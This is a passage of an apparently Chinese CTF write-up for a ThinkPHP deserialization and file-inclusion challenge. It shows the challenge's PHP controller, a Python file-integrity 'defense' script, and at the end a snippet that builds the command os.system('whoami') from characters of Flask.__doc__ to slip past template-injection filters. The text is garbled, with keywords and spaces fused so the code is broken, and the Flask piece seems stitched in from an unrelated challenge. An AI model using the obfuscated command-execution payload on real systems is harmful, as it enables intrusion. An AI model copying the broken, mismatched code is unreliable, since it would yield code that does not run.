don’t need to scan , flag is in /flag .The server is remade every 3 minutes. good luck to you if you get the flag, please don’t destory the environment. China: http://39.99.41.124/public/ Overseas: http://8.208.102.48/public/
考点:文件包含、ThinkPHP反序列化、PHP伪协议 难度:hard
大半夜做的,晚上脑子不好,导致短短一小时内错失前三血,最后拿了个四血 访问:
Warning<br/>You IP: [这里是公网ip 打码] has been recorded by the NationalSecurity Bureau.I will record it to ./log.txt, Please pay attention to your behavior<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">%
classIndexextends \think\Controller { publicfunctionindex() { $ip = $_SERVER['REMOTE_ADDR']; echo"Warning" . "<br/>"; echo"You IP: " . $ip . " has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior"; echo'<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">'; }
# -*- coding:utf-8 -*- import os import hashlib import time import shutil
def get_file_md5(filename): m = hashlib.md5() with open(filename,'rb') as fobj: while True: data = fobj.read(4096) if not data: break m.update(data) returnm.hexdigest()
def file_md5_build(startpath): global md5_list global file_list global dir_list global root md5_list = [] file_list = [] dir_list = [] for root,dirs,files in os.walk(startpath,topdown=True): for d in dirs: dir_list.append(root+'/'+d) forf in files: iff[-4:] == '.txt': continue file_list.append(root+'/'+f) md5_list.append(get_file_md5(root+'/'+f))
def file_md5_defense(): log = open('./public/log.txt','a') log.write('[+]Defense System Online Now.') log.write('\r\n') log.write('[+]Defense System file is protect.py.') log.write('\r\n') log.close() file_backup_remove() file_backup() global root file_md5_build('./') old_list = [] old_dir_list = [] new_list = [] new_dir_list = [] check_list = [] old_file_list = [] new_file_list = [] check_file_list = [] old_file_list = file_list[:] old_list = md5_list[:] old_dir_list = dir_list[:] while (1): check_list = old_list[:] check_file_list = old_file_list[:] file_md5_build('./') new_list = md5_list[:] new_file_list = file_list[:] new_dir_list = dir_list[:] sign2 = 0 for i in range(len(old_dir_list)): sign3 = 0 forj in range(len(new_dir_list)): if (old_dir_list[i] == new_dir_list[j]): sign3 = 1 break if sign3 == 0: sign3 = 1 log = open('./public/log.txt','a') log.write(old_dir_list[i].replace('./','')+'Disappear!') log.write('\r\n') try: shutil.copytree(tgt+old_dir_list[i].replace('./','/'),old_dir_list[i]) log.write("[+]Repaired.") log.write('\r\n') log.close() except: log.write("[-]No such dir.") log.write('\r\n') log.close() for i in range(len(new_list)): sign = 0 forj in range(len(old_list)): if (new_list[i] == old_list[j] and new_file_list[i] == old_file_list[j]): check_list[j] = '0' sign = 1 break ifsign == 0: sign2 = 1 log = open('./public/log.txt','a') log.write(new_file_list[i].replace('./','')+'Add or Changed!') log.write('\r\n') try: os.remove(new_file_list[i]) shutil.copyfile(tgt+new_file_list[i].replace('./','/'),new_file_list[i]) log.write("[+]Repaired.") log.write('\r\n') log.close() except: log.write("[-]No such file.") log.write('\r\n') log.close() for i in range(len(check_list)): if check_list[i] != '0'and sign2 != 1: log = open('./public/log.txt') log.write(check_file_list[i].replace('./','')+'Disappear!') log.write('\r\n') sign2 = 0 try: shutil.copyfile(tgt+check_file_list[i].replace('./','/'),check_file_list[i]) log.write("[+]Repaired.") log.write('\r\n') log.close() except: log.write("[-]No such file.") log.write('\r\n') log.close()
for i in range(len(old_dir_list)): sign3 = 0 forj in range(len(new_dir_list)): if (old_dir_list[i] == new_dir_list[j]): sign3 = 1 break if sign3 == 0: sign3 = 1 print old_dir_list[i].replace('./',''),'Disappear!' for i in range(len(new_list)): sign = 0 forj in range(len(old_list)): if (new_list[i] == old_list[j] and new_file_list[i] == old_file_list[j]): check_list[j] = '0' sign = 1 break ifsign == 0: sign2 = 1 print new_file_list[i].replace('./',''),'Add or Changed!' for i in range(len(check_list)): if check_list[i] != '0'and sign2 != 1: print check_file_list[i].replace('./',''),'Disappear!' sign2 = 0 print"*******************************************************" print'[+]Total file:',len(new_list) print'[+]Total dir:',len(new_dir_list) print"*******************************************************" time.sleep(5)
def file_log_add(): php_list=[] for root,dirs,files in os.walk('./',topdown=True): forf in files: iff[-4:] == '.php': php_list.append(root+'/'+f)
for i in range(len(php_list)): php_list[i] = php_list[i].replace('//','/') print php_list[i] print'[+]Total PHP file:',len(php_list) confirm = raw_input("Confirm Open Log Monitoring. 1 or 0:") ifconfirm == '1': print"*******************************************************" for i in range(len(php_list)): level_dir = 0 forj in range(len(php_list[i])): if php_list[i][j] == '/': level_dir += 1 lines = open(php_list[i],"r").readlines() length = len(lines)-1 forj in range(length): if'<?php' in lines[j]: lines[j]=lines[j].replace('<?php','<?php\nrequire_once("./'+'../'*(level_dir-1)+'log.php");') open(php_list[i],'w').writelines(lines) print"[+]Log monitoring turned on."
str(object='') -> str\nstr(bytes_or_buffer[, encoding[, errors]]) -> str\n\nCreate a new string object from the given object. If encoding or\nerrorsis specified, then the object must expose a data buffer\nthat will be decoded using the given encoding and error handler.\nOtherwise, returns the result of object.__str__() (if defined)\nor repr(object).\nencoding defaults to sys.getdefaultencoding().\nerrors defaults to'strict'.
mylist = [] code = "os.system('whoami')" forchar in code: num = 0 for i in doc: if i == char: mylist.append("Flask.__doc__[{}]".format(num)) break num+=1